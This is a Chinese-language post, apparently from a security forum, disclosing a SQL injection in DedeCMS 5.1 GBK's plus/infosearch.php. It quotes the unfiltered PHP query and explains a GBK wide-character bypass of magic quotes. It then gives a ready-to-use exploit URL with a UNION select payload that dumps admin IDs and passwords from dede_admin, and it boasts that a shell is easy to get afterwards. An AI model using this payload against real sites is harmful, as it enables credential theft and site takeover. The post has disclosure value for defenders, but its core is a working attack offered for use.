原文

一个月前看了看了dedecms代码(只看了plus下的文件),发现有些变量人为控制没有过滤,但是在php的魔法引号这道天然屏障面前利用几率不好,但是联想到gbk的宽字符,突破方法就有了.

漏洞文件:plus/infosearch.php

测试版本:5.1 gbk

描述:$q变量没有过滤直接进入查询,导致注入出现。代码如下:

PHP代码

$q = trim($q);
if($areaid > 0) {
$wheresql = "areaid=$areaid and ";
}

$query = "select ID,typeid,title,memberID,writer,senddate from #@__infos where $wheresql title like '%$q%' order by senddate desc";

$dlist = new DataList();

$dlist->pageSize = 20;
$dlist->SetParameter("q",$q);
$dlist->SetParameter("action",'search');
$dlist->SetParameter("areaid",$areaid);
$dlist->SetSource($query);

“‘”突破了,那就照常注入。

测试站:
http://www.xxx.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,id,4,pwd,6%20from%20dede_admin/*

至于后台拿shell,找不到后台的一样可以轻松拿到shell.不会的留言。

还有几个文件存在注入问题,象feedback.php,后续发放分析。